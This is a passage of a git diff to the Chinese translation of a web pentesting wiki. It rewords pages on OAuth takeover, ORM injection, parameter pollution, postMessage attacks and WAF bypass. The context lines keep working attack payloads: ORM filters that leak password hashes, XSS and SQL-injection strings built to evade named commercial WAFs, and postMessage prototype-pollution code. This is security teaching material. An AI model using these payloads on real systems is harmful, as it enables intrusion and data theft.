 根据 [**这篇博客文章**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96)，这是一个允许通过 **用户名** 和 **密码** 登录 OAuth 的 OAuth 流程。如果在这个简单流程中返回了一个具有用户可以执行的所有操作的访问权限的 **token**，那么就可以使用该 token 绕过 2FA。
 
-### 基于开放重定向到引荐的网页重定向 ATO <a href="#bda5" id="bda5"></a>
+### 基于开放重定向到引用者的网页重定向 ATO <a href="#bda5" id="bda5"></a>
 
-这篇 [**博客文章**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) 讨论了如何滥用 **开放重定向** 从 **引荐** 的值来滥用 OAuth 进行 ATO。攻击步骤如下：
+这篇 [**博客文章**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) 讨论了如何滥用 **开放重定向** 从 **引用者** 的值来滥用 OAuth 进行 ATO。攻击步骤如下：
 
 1. 受害者访问攻击者的网页
-2. 受害者打开恶意链接，打开者使用 `response_type=id_token,code&prompt=none` 作为附加参数启动 Google OAuth 流程，**引荐为攻击者的网站**。
-3. 在打开者中，提供者在授权受害者后，将他们发送回 `redirect_uri` 参数的值（受害者网站），并使用 30X 代码，这仍然保持攻击者网站在引荐中。
-4. 受害者 **网站根据引荐触发开放重定向**，将受害者用户重定向到攻击者网站，因为 **`respose_type`** 是 **`id_token,code`**，代码将通过 URL 的 **片段** 返回给攻击者，从而允许他通过 Google 接管受害者网站的用户账户。
+2. 受害者打开恶意链接，打开者使用 `response_type=id_token,code&prompt=none` 作为附加参数启动 Google OAuth 流程，引用者为 **攻击者网站**。
+3. 在打开者中，提供者在授权受害者后，将他们发送回 `redirect_uri` 参数的值（受害者网站），并使用 30X 代码，这仍然保持攻击者网站在引用者中。
+4. 受害者 **网站根据引用者触发开放重定向**，将受害者用户重定向到攻击者网站，因为 **`respose_type`** 是 **`id_token,code`**，代码将通过 URL 的 **片段** 返回给攻击者，从而允许他通过 Google 接管受害者网站的用户账户。
 
 ### SSRFs 参数 <a href="#bda5" id="bda5"></a>
 
@@ -196,8 +196,8 @@ OAuth 中的动态客户端注册作为一个不太明显但关键的安全漏
 
 **关键点：**
 
-- **动态客户端注册** 通常映射到 `/register`，并接受如 `client_name`、`client_secret`、`redirect_uris` 和用于徽标或 JSON Web Key Sets (JWKs) 的 URL 的 POST 请求。
-- 此功能遵循 **RFC7591** 和 **OpenID Connect Registration 1.0** 中列出的规范，这些规范包括可能对 SSRF 易受攻击的参数。
+- **动态客户端注册** 通常映射到 `/register`，并接受如 `client_name`、`client_secret`、`redirect_uris` 和用于徽标或 JSON Web 密钥集 (JWKs) 的 URL 的详细信息，通过 POST 请求。
+- 此功能遵循 **RFC7591** 和 **OpenID Connect Registration 1.0** 中列出的规范，其中包括可能对 SSRF 易受攻击的参数。
 - 注册过程可能会以多种方式无意中使服务器暴露于 SSRF：
 - **`logo_uri`**：客户端应用程序徽标的 URL，服务器可能会获取该 URL，从而触发 SSRF 或导致 XSS（如果 URL 处理不当）。
 - **`jwks_uri`**：客户端的 JWK 文档的 URL，如果恶意构造，可能导致服务器向攻击者控制的服务器发出外部请求。
@@ -206,8 +206,8 @@ OAuth 中的动态客户端注册作为一个不太明显但关键的安全漏
 
 **利用策略：**
 
-- 通过在 `logo_uri`、`jwks_uri` 或 `sector_identifier_uri` 等参数中注册带有恶意 URL 的新客户端，可以触发 SSRF。
-- 尽管通过白名单控制可能会减轻直接通过 `request_uris` 的利用，但提供一个预先注册的、攻击者控制的 `request_uri` 可以在授权阶段促进 SSRF。
+- 通过在参数如 `logo_uri`、`jwks_uri` 或 `sector_identifier_uri` 中注册带有恶意 URL 的新客户端，可以触发 SSRF。
+- 尽管通过白名单控制可能会减轻直接通过 `request_uris` 的利用，但提供一个预注册的、攻击者控制的 `request_uri` 可以在授权阶段促进 SSRF。
 
 ## OAuth 提供者竞争条件
 
diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md
index 7c45d6edf..98ba92e3f 100644
--- a/src/pentesting-web/open-redirect.md
+++ b/src/pentesting-web/open-redirect.md
@@ -166,7 +166,7 @@ exit;
 
 ## 资源
 
-- 在 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) 中可以找到模糊测试列表。\\
+- 在 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) 你可以找到模糊测试列表。\\
 - [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
 - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
 - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
diff --git a/src/pentesting-web/orm-injection.md b/src/pentesting-web/orm-injection.md
index 168b03b73..9ad24f31b 100644
--- a/src/pentesting-web/orm-injection.md
+++ b/src/pentesting-web/orm-injection.md
@@ -20,7 +20,7 @@ return Response([])
 return Response(serializer.data)
 </code></pre>
 
-注意所有的request.data（这将是一个json）是直接传递给**从数据库中过滤对象**的。攻击者可以发送意外的过滤器，以泄露比预期更多的数据。
+注意所有的request.data（这将是一个json）是直接传递给**从数据库中过滤对象**。攻击者可以发送意外的过滤器，以便泄露比预期更多的数据。
 
 示例：
 
@@ -34,7 +34,7 @@ return Response(serializer.data)
 > [!CAUTION]
 > 可能会通过暴力破解密码直到其泄露。
 
-- **关系过滤**：可以遍历关系以泄露来自未预期在操作中使用的列的信息。例如，如果可以通过以下关系泄露由用户创建的文章：Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`)。
+- **关系过滤**：可以遍历关系以泄露来自未预期在操作中使用的列的信息。例如，如果可以泄露由用户创建的文章，具有以下关系：Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`)。
 ```json
 {
 "created_by__user__password__contains": "pass"
@@ -67,7 +67,7 @@ Article.objects.filter(is_secret=False, categories__articles__id=2)
 > [!CAUTION]
 > 滥用关系可以绕过即使是旨在保护所显示数据的过滤器。
 
-- **基于错误/时间的 ReDoS**：在之前的示例中，如果过滤工作正常，预期会有不同的响应以用作神谕。但也可能在数据库中执行某些操作，响应始终相同。在这种情况下，可以使数据库错误以获取新的神谕。
+- **基于错误/时间的 ReDoS**：在之前的示例中，如果过滤工作正常，预期会有不同的响应以用作神谕。但也可能在数据库中执行某些操作，响应始终相同。在这种情况下，可能可以使数据库出错以获取新的神谕。
 ```json
 // Non matching password
 {
@@ -78,14 +78,14 @@ Article.objects.filter(is_secret=False, categories__articles__id=2)
 {"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
 ```
 - **SQLite**: 默认情况下没有 regexp 操作符（需要加载第三方扩展）
-- **PostgreSQL**: 没有默认的正则超时，并且不太容易回溯
-- **MariaDB**: 没有正则超时
+- **PostgreSQL**: 没有默认的正则表达式超时，并且不太容易回溯
+- **MariaDB**: 没有正则表达式超时
 
 ## Prisma ORM (NodeJS)
 
 以下是 [**从此帖子提取的技巧**](https://www.elttam.com/blog/plorming-your-primsa-orm/)。
 
-- **完全查找控制**:
+- **完全控制查找**:
 
 <pre class="language-javascript"><code class="lang-javascript">const app = express();
 
@@ -102,7 +102,7 @@ res.json([]);
 });
 </code></pre>
 
-可以看到整个 javascript 主体被传递给 prisma 以执行查询。
+可以看到整个 JavaScript 主体被传递给 prisma 以执行查询。
 
 在原始帖子的示例中，这将检查所有由某人创建的帖子（每个帖子都是由某人创建的），同时返回该某人的用户信息（用户名、密码...）
 ```json
@@ -257,7 +257,7 @@ res.json([])
 }
 }
 ```
-- **错误/定时查询**：在原始帖子中，您可以阅读一系列非常广泛的测试，以找到使用基于时间的有效载荷泄露信息的最佳有效载荷。这是：
+- **错误/定时查询**：在原始帖子中，您可以阅读一套非常广泛的测试，以找到使用基于时间的有效载荷泄露信息的最佳有效载荷。这是：
 ```json
 {
 "OR": [
diff --git a/src/pentesting-web/parameter-pollution.md b/src/pentesting-web/parameter-pollution.md
index eebed7d2f..bc76c54f4 100644
--- a/src/pentesting-web/parameter-pollution.md
+++ b/src/pentesting-web/parameter-pollution.md
@@ -6,7 +6,7 @@
 
 ## HTTP 参数污染 (HPP) 概述
 
-HTTP 参数污染 (HPP) 是一种技术，攻击者通过操纵 HTTP 参数以意想不到的方式改变 Web 应用程序的行为。这种操纵是通过添加、修改或重复 HTTP 参数来实现的。这些操纵的效果对用户并不直接可见，但可以显著改变服务器端应用程序的功能，并在客户端产生可观察的影响。
+HTTP 参数污染 (HPP) 是一种技术，攻击者通过操纵 HTTP 参数来以意想不到的方式改变 Web 应用程序的行为。这种操纵是通过添加、修改或重复 HTTP 参数来完成的。这些操纵的效果对用户并不直接可见，但可以显著改变服务器端应用程序的功能，并在客户端产生可观察的影响。
 
 ### HTTP 参数污染 (HPP) 示例
 
@@ -39,7 +39,7 @@ HTTP 参数污染 (HPP) 是一种技术，攻击者通过操纵 HTTP 参数以
 
 - **场景:** 一个应用程序允许用户通过个人资料设置页面更新他们的 API 密钥。
 - **攻击向量:** 攻击者发现通过向 POST 请求附加一个额外的 `api_key` 参数，可以操纵 API 密钥更新功能的结果。
-- **技术:** 利用像 Burp Suite 这样的工具，攻击者构造一个请求，其中包含两个 `api_key` 参数：一个合法的和一个恶意的。服务器只处理最后一个出现的参数，将 API 密钥更新为攻击者提供的值。
+- **技术:** 利用像 Burp Suite 这样的工具，攻击者构造一个包含两个 `api_key` 参数的请求：一个合法的和一个恶意的。服务器只处理最后一个出现的参数，将 API 密钥更新为攻击者提供的值。
 - **结果:** 攻击者控制了受害者的 API 功能，可能未经授权访问或修改私有数据。
 
 这个例子进一步强调了安全参数处理的必要性，特别是在像 API 密钥管理这样关键的功能中。
@@ -61,7 +61,7 @@ Web 技术处理重复 HTTP 参数的方式各不相同，影响其对 HPP 攻
 
 1. 忽略参数名称中的 %00 之后的任何内容。
 2. 将 name\[] 视为数组。
-3. \_GET 不代表 GET 方法。
+3. \_GET 不意味着 GET 方法。
 4. 优先考虑最后一个参数。
 
 ### Ruby 3.3.5 和 WEBrick 1.8.2
diff --git a/src/pentesting-web/phone-number-injections.md b/src/pentesting-web/phone-number-injections.md
index 37fcf757f..13d81e331 100644
--- a/src/pentesting-web/phone-number-injections.md
+++ b/src/pentesting-web/phone-number-injections.md
@@ -2,13 +2,13 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-可以在**电话号码的末尾添加字符串**，这些字符串可能被用来利用常见的注入（XSS、SQLi、SSRF...）或甚至绕过保护：
+可以在**电话号码的末尾添加字符串**，这些字符串可能被用于利用常见的注入（XSS、SQLi、SSRF...）或甚至绕过保护：
 
 <figure><img src="../images/image (461).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
 
 <figure><img src="../images/image (941).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
 
-**OTP 绕过 / 暴力破解** 的工作方式如下：
+**OTP 绕过 / 暴力破解** 将这样工作：
 
 <figure><img src="../images/image (116).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
 
diff --git a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md
index c399e6ad7..a42288b15 100644
--- a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md
+++ b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-这些 PoCs 和 Polygloths 的目标是为测试人员提供一个快速的 **摘要**，以便他可以利用 **如果他的输入以某种方式反射在响应中** 的漏洞。
+这些 PoCs 和 Polygloths 的目标是为测试人员提供一个快速的 **摘要**，以便他可以利用 **输入在响应中以某种方式被反射** 的漏洞。
 
 > [!WARNING]
 > 这个 **备忘单并没有提供每个漏洞的全面测试列表**，只是一些基本的测试。如果您在寻找更全面的测试，请访问每个提议的漏洞。
diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md
index c19921ba1..f2a056c08 100644
--- a/src/pentesting-web/postmessage-vulnerabilities/README.md
+++ b/src/pentesting-web/postmessage-vulnerabilities/README.md
@@ -32,8 +32,8 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
 ## loop until win.length == 1 (until the iframe is loaded)
 win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
 ```
-注意，**targetOrigin** 可以是 '\*' 或像 _https://company.com_ 这样的 URL。\
-在 **第二种情况** 中，**消息只能发送到该域**（即使窗口对象的来源不同）。\
+注意，**targetOrigin** 可以是 '\*' 或像 _https://company.com._ 的 URL。\
+在 **第二种情况** 下，**消息只能发送到该域**（即使窗口对象的来源不同）。\
 如果使用 **通配符**，**消息可以发送到任何域**，并将发送到窗口对象的来源。
 
 ### 攻击 iframe 和 **targetOrigin** 中的通配符
@@ -158,7 +158,7 @@ bypassing-sop-with-iframes-2.md
 ### X-Frame-Header 绕过
 
 为了理想地执行这些攻击，您将能够**将受害者网页**放入一个`iframe`中。但一些头部如`X-Frame-Header`可以**阻止**这种**行为**。\
-在这些情况下，您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新标签页到易受攻击的网络应用程序并与之通信：
+在这些情况下，您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新标签页，访问易受攻击的网络应用程序并与之通信：
 ```markup
 <script>
 var w=window.open("<url>")
@@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
 ```
 ### 通过阻止主页面窃取发送给子页面的消息
 
-在以下页面中，您可以看到如何通过在发送数据之前**阻止**主页面来窃取发送给**子iframe**的**敏感postmessage数据**，并利用**子iframe中的XSS**在数据被接收之前**泄露数据**：
+在以下页面中，您可以看到如何通过在发送数据之前**阻止**主页面来窃取发送给**子iframe**的**敏感postmessage数据**，并利用**子页面中的XSS**在数据被接收之前**泄露数据**：
 
 {{#ref}}
 blocking-main-page-to-steal-postmessage.md
@@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
 
 ### 通过修改iframe位置窃取消息
 
-如果您可以在没有X-Frame-Header的网页中嵌入一个包含另一个iframe的页面，您可以**更改该子iframe的地址**，因此如果它接收使用**通配符**发送的**postmessage**，攻击者可以**更改**该iframe的**来源**为一个**由他控制**的页面并**窃取**消息：
+如果您可以在没有X-Frame-Header的网页中嵌入一个包含另一个iframe的页面，您可以**更改该子iframe的位置**，因此如果它接收使用**通配符**发送的**postmessage**，攻击者可以**更改**该iframe的**来源**为一个**由他控制**的页面并**窃取**消息：
 
 {{#ref}}
 steal-postmessage-modifying-iframe-location.md
@@ -185,7 +185,7 @@ steal-postmessage-modifying-iframe-location.md
 
 在通过`postMessage`发送的数据被JS执行的场景中，您可以**嵌入**该**页面**并**利用**通过`postMessage`发送的**原型污染/XSS**进行攻击。
 
-一些**通过`postMessage`非常好地解释的XSS**可以在 [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) 找到。
+一些**通过`postMessage`非常好解释的XSS**可以在 [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) 找到。
 
 通过`postMessage`对`iframe`进行**原型污染然后XSS**的攻击示例：
 ```html
diff --git a/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md b/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
index 7b87dd0e7..4f8325280 100644
--- a/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
+++ b/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
@@ -6,13 +6,13 @@
 
 根据这个 [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710)，从空源创建的 blob 文档出于安全考虑是隔离的，这意味着如果你让主页面保持忙碌，iframe 页面将会被执行。
 
-基本上，在这个挑战中，一个 **隔离的 iframe 被执行**，并且在它 **加载后**，**父**页面将会 **发送一个 post** 消息，包含 **标志**。\
-然而，这种 postmessage 通信是 **易受 XSS 攻击的**（**iframe** 可以执行 JS 代码）。
+基本上在这个挑战中，一个 **隔离的 iframe 被执行**，并且在它 **加载后**，**父**页面将会 **发送一个 post** 消息，包含 **flag**。\
+然而，这个 postmessage 通信是 **易受 XSS 攻击的**（**iframe** 可以执行 JS 代码）。
 
-因此，攻击者的目标是 **让父页面创建 iframe**，但 **在** 让 **父**页面 **发送** 敏感数据（**标志**）之前 **保持它忙碌**，并将 **有效载荷发送到 iframe**。当 **父页面忙碌时**，**iframe 执行有效载荷**，这将是一些 JS 代码，用于监听 **父 postmessage 消息并泄露标志**。\
-最后，iframe 执行了有效载荷，父页面停止忙碌，因此它发送标志，而有效载荷泄露了它。
+因此，攻击者的目标是 **让父页面创建 iframe**，但 **在** 让 **父**页面 **发送** 敏感数据（**flag**） **之前**，**保持它忙碌**并将 **有效载荷发送到 iframe**。当 **父页面忙碌时**，**iframe 执行有效载荷**，这将是一些 JS 代码，用于监听 **父 postmessage 消息并泄露 flag**。\
+最后，iframe 执行了有效载荷，父页面停止忙碌，因此它发送 flag，而有效载荷泄露了它。
 
-但是你如何能让父页面在生成 iframe 后 **立即忙碌，并且在等待 iframe 准备好发送敏感数据时保持忙碌呢？** 基本上，你需要找到 **异步** **操作**，让父页面 **执行**。例如，在这个挑战中，父页面 **监听** **postmessages**，如下所示：
+但是你如何能让父页面在 **生成 iframe 后立即忙碌，并且在等待 iframe 准备好发送敏感数据时保持忙碌呢？** 基本上，你需要找到 **异步** **操作**，让父页面 **执行**。例如，在这个挑战中，父页面 **监听** **postmessages** 是这样的：
 ```javascript
 window.addEventListener("message", (e) => {
 if (e.data == "blob loaded") {
@@ -20,7 +20,7 @@ $("#previewModal").modal()
 }
 })
 ```
-因此，可以在 postmessage 中发送一个 **大整数**，在该比较中将被 **转换为字符串**，这将需要一些时间：
+因此，可以在一个 **postmessage** 中发送一个 **大整数**，在该比较中将被 **转换为字符串**，这将需要一些时间：
 ```bash
 const buffer = new Uint8Array(1e7);
 win?.postMessage(buffer, '*', [buffer.buffer]);
diff --git a/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md b/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
index 003cf4083..70a806c6c 100644
--- a/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
+++ b/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
@@ -19,22 +19,22 @@ renderContainer.innerHTML = data.body
 
 让我们看看他们提出的解决方案。
 
-### SOP 绕过 1 (e.origin === null)
+### SOP绕过1 (e.origin === null)
 
-当`//example.org`嵌入到一个**沙箱iframe**中时，页面的**origin**将是**`null`**，即**`window.origin === null`**。因此，仅通过`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`嵌入iframe，我们可以**强制`null` origin**。
+当`//example.org`嵌入到一个**沙盒iframe**中时，页面的**origin**将是**`null`**，即**`window.origin === null`**。因此，仅通过`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`嵌入iframe，我们可以**强制`null` origin**。
 
 如果页面是**可嵌入的**，你可以通过这种方式绕过该保护（cookies可能也需要设置为`SameSite=None`）。
 
-### SOP 绕过 2 (window.origin === null)
+### SOP绕过2 (window.origin === null)
 
-较少人知的是，当**沙箱值`allow-popups`被设置**时，**打开的弹出窗口**将**继承**所有**沙箱属性**，除非设置`allow-popups-to-escape-sandbox`。\
-因此，从**null origin**打开**弹出窗口**将使**弹出窗口内的`window.origin`**也为**`null`**。
+较少人知的是，当**沙盒值`allow-popups`被设置**时，**打开的弹出窗口**将**继承**所有**沙盒属性**，除非设置了`allow-popups-to-escape-sandbox`。\
+因此，从**null origin**打开**弹出窗口**将使**弹出窗口**内的**`window.origin`**也为**`null`**。
 
 ### 挑战解决方案
 
-因此，对于这个挑战，可以**创建**一个**iframe**，**打开一个弹出窗口**到具有易受攻击的XSS代码处理程序的页面(`/iframe.php`)，因为`window.origin === e.origin`因为两者都是`null`，可以**发送一个有效载荷来利用XSS**。
+因此，对于这个挑战，可以**创建**一个**iframe**，**打开一个弹出窗口**到具有易受攻击的XSS代码处理程序的页面(`/iframe.php`)，因为`window.origin === e.origin`，因为两者都是`null`，可以**发送一个有效载荷来利用XSS**。
 
-该**有效载荷**将获取**标识符**并将**XSS**发送**回顶部页面**（打开弹出窗口的页面），**这将**使**位置**更改为**易受攻击的**`/iframe.php`。因为标识符是已知的，所以不管条件`window.origin === e.origin`是否满足都无关紧要（记住，origin是来自iframe的**弹出窗口**，其**origin**为**`null`**），因为`data.identifier === identifier`。然后，**XSS将再次触发**，这次在正确的origin中。
+该**有效载荷**将获取**标识符**并将**XSS**发送**回到顶层页面**（打开弹出窗口的页面），**这将**使**位置**更改为**易受攻击的**`/iframe.php`。因为标识符是已知的，所以不管条件`window.origin === e.origin`是否满足都无关紧要（记住，origin是来自iframe的**弹出窗口**，其**origin**为**`null`**），因为`data.identifier === identifier`。然后，**XSS将再次触发**，这次在正确的origin中。
 ```html
 <body>
 <script>
diff --git a/src/pentesting-web/proxy-waf-protections-bypass.md b/src/pentesting-web/proxy-waf-protections-bypass.md
index b45aaf636..0a4e7c514 100644
--- a/src/pentesting-web/proxy-waf-protections-bypass.md
+++ b/src/pentesting-web/proxy-waf-protections-bypass.md
@@ -17,7 +17,7 @@ location = /admin/ {
 deny all;
 }
 ```
-为了防止绕过，Nginx 在检查路径之前会执行路径规范化。然而，如果后端服务器执行不同的规范化（移除 Nginx 不移除的字符），可能会绕过此防御。
+为了防止绕过，Nginx 在检查路径之前执行路径规范化。然而，如果后端服务器执行不同的规范化（移除 Nginx 不移除的字符），可能会绕过此防御。
 
 ### **NodeJS - Express**
 
@@ -75,7 +75,7 @@ deny all;
 ### 路径混淆
 
 [**在这篇文章中**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) 解释了 ModSecurity v3（直到 3.0.12）**错误地实现了 `REQUEST_FILENAME`** 变量，该变量本应包含访问的路径（直到参数开始）。这是因为它执行了 URL 解码以获取路径。\
-因此，像 `http://example.com/foo%3f';alert(1);foo=` 的请求在 mod security 中将认为路径只是 `/foo`，因为 `%3f` 被转换为 `?`，结束了 URL 路径，但实际上服务器接收到的路径将是 `/foo%3f';alert(1);foo=`。
+因此，像 `http://example.com/foo%3f';alert(1);foo=` 这样的请求在 mod security 中将认为路径只是 `/foo`，因为 `%3f` 被转换为 `?`，结束了 URL 路径，但实际上服务器接收到的路径将是 `/foo%3f';alert(1);foo=`。
 
 变量 `REQUEST_BASENAME` 和 `PATH_INFO` 也受到此错误的影响。
 
@@ -85,7 +85,7 @@ deny all;
 
 ### 格式错误的头部
 
-[这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 提到可以通过发送一个“格式错误”的头部来绕过应用于 HTTP 头部的 AWS WAF 规则，该头部未被 AWS 正确解析，但被后端服务器解析。 
+[这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 提到可以通过发送一个“格式错误”的头部来绕过应用于 HTTP 头部的 AWS WAF 规则，该头部未被 AWS 正确解析，但被后端服务器解析。
 
 例如，发送以下请求，在头部 X-Query 中包含 SQL 注入：
 ```http
@@ -145,11 +145,11 @@ Connection: close\r\n
 
 正如在 [**这篇博客文章**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) 中提到的，为了绕过能够维护用户输入上下文的 WAF，我们可以利用 WAF 技术来实际规范化用户输入。
 
-例如，在文章中提到 **Akamai 对用户输入进行了 10 次 URL 解码**。因此像 `<input/%2525252525252525253e/onfocus` 这样的内容将被 Akamai 视为 `<input/>/onfocus`，这 **可能会认为是可以的，因为标签是闭合的**。然而，只要应用程序没有对输入进行 10 次 URL 解码，受害者将看到类似 `<input/%25252525252525253e/onfocus` 的内容，这 **仍然有效用于 XSS 攻击**。
+例如，在文章中提到 **Akamai 对用户输入进行了 10 次 URL 解码**。因此，像 `<input/%2525252525252525253e/onfocus` 这样的内容将被 Akamai 视为 `<input/>/onfocus`，这 **可能认为是可以的，因为标签是闭合的**。然而，只要应用程序没有对输入进行 10 次 URL 解码，受害者将看到类似 `<input/%25252525252525253e/onfocus` 的内容，这 **仍然有效用于 XSS 攻击**。
 
-因此，这允许 **在编码组件中隐藏有效载荷**，WAF 将解码并解释，而受害者则不会。
+因此，这允许在 WAF 将解码和解释的编码组件中 **隐藏有效载荷**，而受害者则看不到。
 
-此外，这不仅可以通过 URL 编码的有效载荷来实现，还可以通过其他编码方式，如 unicode、hex、octal 等。
+此外，这不仅可以通过 URL 编码的有效载荷来实现，还可以通过其他编码方式，如 unicode、hex、octal 等...
 
 在文章中建议了以下最终绕过方法：
 
@@ -158,7 +158,7 @@ Connection: close\r\n
 - AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
 - Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
 
-还提到，根据 **某些 WAF 如何理解用户输入的上下文**，可能会存在滥用的可能。博客中提出的例子是 Akamai 允许在 `/*` 和 `*/` 之间放置任何内容（可能是因为这通常用作注释）。因此，像 `/*'or sleep(5)-- -*/` 这样的 SQL 注入将不会被捕获，并且将有效，因为 `/*` 是注入的起始字符串，而 `*/` 是注释。
+还提到，根据 **某些 WAF 如何理解用户输入的上下文**，可能会存在滥用的可能性。博客中提出的例子是 Akamai 允许在 `/*` 和 `*/` 之间放置任何内容（可能是因为这通常用作注释）。因此，像 `/*'or sleep(5)-- -*/` 这样的 SQL 注入将不会被捕获，并且是有效的，因为 `/*` 是注入的起始字符串，而 `*/` 是注释。
 
 这些上下文问题也可以用来 **滥用其他比 WAF 预期的漏洞**（例如，这也可以用来利用 XSS）。
 
@@ -173,12 +173,12 @@ h2c-smuggling.md
 - [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): 生成一个 API 网关 URL 以供 ffuf 使用
 - [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): 类似于 fireprox
 - [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): 使用 API 网关 IP 的 Burp Suite 插件
-- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 根据输入文件大小和拆分因子动态确定的容器实例数量被激活，输入被拆分为块以进行并行执行，例如 100 个实例处理来自 10,000 行输入文件的 100 个块，拆分因子为 100 行。
+- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 根据输入文件大小和拆分因子动态确定的容器实例数量被激活，输入被拆分为多个块以进行并行执行，例如 100 个实例处理来自 10,000 行输入文件的 100 个块，拆分因子为 100 行。
 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
 
 ### 正则表达式绕过
 
-可以使用不同的技术来绕过防火墙上的正则表达式过滤器。示例包括交替大小写、添加换行符和编码有效载荷。各种绕过的资源可以在 [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) 和 [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) 找到。以下示例摘自 [这篇文章](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)。
+可以使用不同的技术来绕过防火墙上的正则表达式过滤器。示例包括交替大小写、添加换行符和编码有效载荷。各种绕过的资源可以在 [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) 和 [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) 找到。以下示例来自 [这篇文章](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)。
 ```bash
 <sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
 <<script>alert(XSS)</script> #prepending an additional "<"
@@ -203,7 +203,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
 
 - [**nowafpls**](https://github.com/assetnote/nowafpls): Burp 插件，通过长度向请求添加垃圾数据以绕过 WAF
 
-## 参考文献
+## 参考
 
 - [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
 - [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md
index 6b35b55ea..e08539ff2 100644
